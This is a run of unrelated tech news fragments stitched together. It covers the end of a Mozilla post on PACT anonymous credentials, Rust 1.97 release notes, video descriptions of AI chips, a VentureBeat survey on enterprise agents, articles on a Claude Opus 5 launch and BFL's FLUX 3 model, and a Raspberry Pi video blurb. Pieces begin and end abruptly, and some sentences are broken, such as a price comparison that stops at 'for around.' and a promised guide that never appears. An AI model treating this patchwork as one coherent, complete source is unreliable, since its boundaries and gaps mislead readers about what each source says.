Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.  

Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential. 

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.

In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction.

AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism.

Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.

The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.

Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.

Next Steps

We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.

We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community.

If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need.

Acknowledgements

The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun. 

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.

If you have a previous version of Rust installed via rustup, you can get 1.97.0 with:

$ rustup update stable

If you don't have it already, you can get rustup from the appropriate page on our website, and check out the detailed release notes for 1.97.0.

If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (rustup default beta) or the nightly channel (rustup default nightly). Please report any bugs you might come across!

What's in 1.97.0 stable

Symbol mangling v0 enabled by default

When Rust is compiled into object files and binaries, each item (functions, statics, etc) must have a globally unique "symbol" identifying it. To avoid conflicts when linking together different Rust programs, Rust mangles the original name of items to include additional context such as the module path, defining crate, generics, and more. Historically, this mangling was based on the Itanium ABI, also (sometimes) used by C++.

The new mangling scheme resolves a number of drawbacks from the previous one:

• Generic parameter instantiations preserve their values, rather than being tracked solely behind a hash
• Inconsistencies: not all parts used the Itanium ABI, meaning that custom demangling was still necessary

Since Rust 1.59, the compiler has supported opting into a Rust-specific mangling scheme via -Csymbol-mangling-version=v0. Since November 2025, this scheme has been enabled by default on nightly, and 1.97 is now enabling it on stable Rust. The legacy mangling scheme can only be enabled on nightly, and the current plan is to fully remove it.

See the previous blog post for more details.

Cargo support for denying warnings

It's common practice to deny warnings in CI. Historically, doing so is typically done through RUSTFLAGS=-Dwarnings. With Rust 1.97, Cargo controls how warnings interact with build success: either silencing them (via allow level), rendering without failing (default, warn), or denying them (via deny).

As a result of Cargo configuration determining the behavior, using this feature doesn't invalidate the underlying build cache, meaning that it's easy to temporarily opt-in. For example, if warnings are adding unwanted noise while working through fixing errors after a refactor, you can run CARGO_BUILD_WARNINGS=allow cargo check, temporarily silencing them.

In CI, jobs can instead set CARGO_BUILD_WARNINGS=deny to deny warnings. This can be combined with --keep-going to collect all errors and warnings rather than stopping on the first failing package.

See the documentation for more details.

Linker output no longer hidden by default

rustc invokes a linker on behalf of users. Historically, rustc has silenced linker output by default if the link completes successfully. This can mask real problems, though, so in Rust 1.97 we are enabling linker messages by default. These are emitted as a warning lint, for example:

warning: linker stderr: ignoring deprecated linker optimization setting '1'
  |
  = note: `#[warn(linker_messages)]` on by default

Common linker messages that have been diagnosed as false positives or intentional behavior are filtered out by rustc. Several defects have already been fixed as a result of no longer hiding this output on nightly.

Note that currently, linker_messages is a special lint that is not affected by the warnings lint group. This is intentional as rustc generally doesn't control linker output as precisely, and it's not uncommon for output to only appear on some platforms. If you are seeing what you think is a false positive output from the linker, please file an issue.

To silence the warning in the mean time, you can configure the lint level to allow. This can be done through Cargo.toml by adding a lints section like this:

[lints.rust]
linker_messages = "allow"

Stabilized APIs

• Default for RepeatN
• Copy for ffi::FromBytesUntilNulError
• Send for std::fs::File on UEFI
• <{integer}>::isolate_highest_one
• <{integer}>::isolate_lowest_one
• <{integer}>::highest_one
• <{integer}>::lowest_one
• <{uN}>::bit_width
• NonZero<{integer}>::isolate_highest_one
• NonZero<{integer}>::isolate_lowest_one
• NonZero<{integer}>::highest_one
• NonZero<{integer}>::lowest_one
• NonZero<{uN}>::bit_width

These previously stable APIs are now stable in const contexts:

• char::is_control

Other changes

Check out everything that changed in Rust, Cargo, and Clippy.

Contributors to 1.97.0

Many people came together to create Rust 1.97.0. We couldn't have done it without all of you. Thanks!

Google just revealed two brand-new AI chips—and they could change the future of artificial intelligence. Instead of building one GPU to handle everything, Google introduced its 8th-generation Tensor Processing Units: TPU 8t for AI training and TPU 8i for AI inference and reasoning. The company believes future AI infrastructure needs specialized hardware rather than one general-purpose accelerator. In this video, we break down Google's new TPU architecture, including 121 exaflops of compute, superpods with up to 9,600 chips, 2 petabytes of shared memory, Virgo networking, TPUDirect, Boardfly topology, Axion CPUs, and next-generation liquid cooling. We also explain why Google optimized TPU 8i for reasoning models, AI agents, and massive inference workloads with 288GB of HBM and dramatically improved memory performance. Could Google's specialized TPU strategy become the future of AI computing? And is this the first real architectural challenge to NVIDIA's GPU dominance?

#Google #TPU #NVIDIA #AIChips #ArtificialIntelligence #GoogleCloud #Semiconductors

NVIDIA just unveiled Rubin, but this isn't just another GPU. It's a complete AI factory built to power the next generation of artificial intelligence. In this video, we break down NVIDIA's Vera Rubin platform, a fully co-designed AI system that combines the Vera CPU, Rubin GPU, NVLink 6, BlueField-4 DPU, ConnectX-9 SuperNIC, and Spectrum networking into one massive AI infrastructure platform. You'll learn why Rubin delivers up to 50 petaflops of AI inference, 288GB of HBM4 memory per GPU, 3.6 exaflops of compute per NVL72 rack, over 260TB/s of NVLink bandwidth, and why NVIDIA claims up to 10x lower AI inference costs than Blackwell. We also explore why AI companies like Microsoft, OpenAI, Anthropic, Meta, xAI, Google, AWS, Oracle, and CoreWeave are already adopting Rubin, and why NVIDIA believes the future of AI isn't a faster GPU; it's an entire factory built to manufacture intelligence. Is Rubin the biggest leap in AI hardware yet, or the beginning of a completely new era of AI infrastructure?

#NVIDIA #Rubin #AIFactory #AIChips #ArtificialIntelligence #HBM4 #DataCenter

AMD may have finally built a real challenger to NVIDIA’s AI empire. In this video, we break down the AMD Instinct MI400 series and the flagship MI455X AI accelerator, featuring 432GB of HBM4 memory, 19.6TB/s of memory bandwidth, up to 40 petaflops of FP4 compute, and an advanced chiplet architecture designed for next-generation AI training and inference. But AMD’s real weapon is bigger than one chip. The Helios rack-scale AI platform combines 72 MI455X GPUs with next-generation AMD EPYC “Venice” CPUs, massive HBM4 capacity, high-speed networking, ROCm software, and open technologies like UALink to challenge NVIDIA’s tightly integrated AI infrastructure. We also explore how AMD plans to compete with NVIDIA Vera Rubin, the importance of ROCm versus CUDA, and why major AI companies and cloud providers are increasingly looking for alternatives to NVIDIA. Could AMD finally turn the AI accelerator market into a real two-company war?

#AMD #NVIDIA #MI455X #AIChips #InstinctMI400 #Helios #ArtificialIntelligence

NVIDIA just revealed the most powerful AI workstation ever built—and it puts data center hardware on your desk. Powered by the new GB300 Grace Blackwell Ultra Superchip, the NVIDIA DGX Station combines a 72-core Grace CPU, a Blackwell Ultra GPU with 20,480 CUDA cores, 748GB of unified coherent memory, and up to 20 petaflops of AI compute. It's designed to run massive AI models locally, eliminating many of the memory limitations that force developers to rely on expensive cloud GPUs. In this video, we break down the DGX Station architecture, unified memory, NVLink C2C, HBM3e, local AI inference, trillion-parameter model claims, real-world pricing, and why NVIDIA believes desktop AI workstations are the future of artificial intelligence development. We also compare the DGX Station with DGX Spark, Apple’s Mac Studio, cloud GPU infrastructure, and explain why local AI could become the next major shift in computing.

Is NVIDIA reinventing the personal computer for the AI era?

#NVIDIA #DGXStation #Blackwell #AIWorkstation #ArtificialIntelligence #LocalAI #CUDA

VentureBeat Research measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.

Most deployed "agents" are chatbots wearing the label. Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. (Full findings: Agentic Orchestration report.)

Autonomy is outrunning trust in the evaluations that gate it. Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. (Full findings: Agent Reliability & Evals report.)

Companies that let agents share credentials get hit more often. Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. (Full findings: Agentic Security & Identity report.)

The most expensive hardware in the building runs at half capacity or less. More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. (Full findings: AI Infrastructure & Compute report.)

Agents answer confidently from data nobody governs. Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. (Full findings: Context Layers / RAG report.)

No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.

About this research

VentureBeat Research fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability & Evals (157), Agentic Security & Identity (107), AI Infrastructure & Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and VB Transform, the conference where these reports debuted.

The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, Opus 4.8. It becomes the new default model on Claude Max, Anthropic's premium consumer tier, and the strongest model available on Claude Pro.

The positioning is deliberate. Anthropic is not claiming Opus 5 is its smartest model — that distinction still belongs to Fable 5, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.

"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."

How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models

On paper, the results are striking. Anthropic says Opus 5 sets new state-of-the-art marks on coding and knowledge-work evaluations including Frontier-Bench and GDPval-AA. On Frontier-Bench v0.1, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On ARC-AGI 3, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On OSWorld 2.0, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.

The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges Opus 5 remains behind Mythos 5, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.

The more revealing caveat came from Anthropic itself, when asked where Opus 5 still falls short of Fable 5. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.

"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."

Fable 5, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.

Why token efficiency is becoming the real battleground for enterprise AI spending

Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: Opus 5 doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.

Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."

Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.

The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. 

Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by Contrary Research, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.

Self-verifying AI agents and what they mean for the hidden costs of automation

Beyond the numbers, Anthropic is selling a behavioral story: that Opus 5 verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.

In one Frontier-Bench task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.

Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."

This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.

Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks

The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than Opus 4.8, Sonnet 5, or Fable 5, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.

On the capability side, Anthropic says it intentionally avoided training Opus 5 on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.

When a classifier does trigger, requests in Claude.ai, Claude Code, and Claude Cowork fall back to Opus 4.8 by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."

The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."

The business stakes behind the launch: a $380 billion valuation and massive compute bets

The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at roughly $380 billion in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly reaching $20 to $26 billion for 2026. Those targets are underwritten by enormous infrastructure commitments, including a reported $30 billion Azure compute deal alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.

That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.

The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to Anthropic's $1.5 billion copyright settlement with book authors, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to block foreign access to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.

Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the Claude API starting today.

Two questions will determine whether the bet pays off: whether Opus 5's efficiency claims survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.

Heute fällt der Startschuss für AMD Epyc Venice als neue Server-Prozessoren mit Zen-6-Architektur. Parallel gibt es einen Ausblick auf die Nachfolger. Laut Epyc-Roadmap folgt 2028 Florence mit Zen 7 und AI Compute Extensions. Zwei Jahre später soll bereits Ravenna mit Zen 8 im Jahr 2030 erscheinen.

This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee

Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it on my studio wall to run all my Home Assistant and homelab stuff. It is a gorgeous little screen (1200x1920, real IPS, 10 finger touch, 400 nits) and at $80 it is a steal. There is one catch though, and a lot of you are not going to like it: this thing only works on the Raspberry Pi 5 and the Compute Modules. Your Pi 3 or Pi 4 will not work at all.

In this video I unbox it, walk through everything that is new versus the old touch display, hit a wall when it powered on and did absolutely nothing (turns out you have to update the firmware on your Pi 5, the EEPROM, before it will recognize the screen), mount it with nothing but a drill and some screws, and finally turn it into a beautiful Home Assistant dashboard using an open source kiosk app called TouchKio. Whether you are building a smart home wall panel, a homelab status board, or you just want your Raspberry Pi to show off what it is doing, this is a really good option.

Join the NetworkChuck Academy!: https://ntck.co/NCAcademy

RESOURCES / LINKS:
🌐 Raspberry Pi Touch Display 2: https://www.raspberrypi.com/products/touch-display-2/
🛠️ TouchKio (open source kiosk app): https://github.com/leukipp/touchkio
🏠 Home Assistant: https://www.home-assistant.io/
🖥️ Proxmox: https://www.proxmox.com/
📖 Update your Raspberry Pi firmware (EEPROM): https://www.raspberrypi.com/documentation/computers/raspberry-pi.html
☕ NetworkChuck Coffee (Default Route): https://ntck.co/coffee

TIMESTAMPS:
0:00 - Unboxing the new Raspberry Pi Touch Display 2
0:45 - What is new on the 10 inch portrait display
1:50 - The catch: Raspberry Pi 5 and Compute Modules only
2:48 - It powered on and nothing happened
3:16 - The fix: updating your Raspberry Pi 5 firmware
5:55 - Building the Home Assistant dashboard with TouchKio

**Raspberry Pi provided the Touch Display 2 for this video, no strings attached. All opinions are my own.

SUPPORT NETWORKCHUCK:
☕☕ COFFEE and MERCH: https://ntck.co/coffee

READY TO LEARN??
🔥🔥Join the NetworkChuck Academy!: https://ntck.co/NCAcademy
📚 CCNA Course: https://ntck.co/ccna

FOLLOW ME EVERYWHERE:
Instagram: https://www.instagram.com/networkchuck/
X/Twitter: https://x.com/networkchuck
Facebook: https://www.facebook.com/NetworkChuck/
Join the Discord server: https://ntck.co/discord

Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.

#raspberrypi #homeassistant #homelab

The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface.

That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model.

FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve.

There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request.

What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.

Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.

But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far.

Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption

BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability.

In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.

One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.

Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.

Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.

Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality.

Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.

One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.

Here's a rough guide for enterprises considering which video models to rely upon:

One architecture for media generation and physical action

FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026.

The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.

"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."

He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."

BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.

For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.

For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.

What FLUX 3 Video can actually do

The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation.

Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.

The capability list BFL published covers:

• Text-to-video generation.

• Image-to-video generation, either animating from a starting frame or using images as visual references.

• Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.

• Generative video-audio continuation from existing video and audio input.

• Keyframe-to-video generation for controlled transitions between defined moments.

• Multilingual dialogue.

• A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.

• Typography generation and animated design.

• Agentic chaining of individual clips into longer, multi-shot sequences.

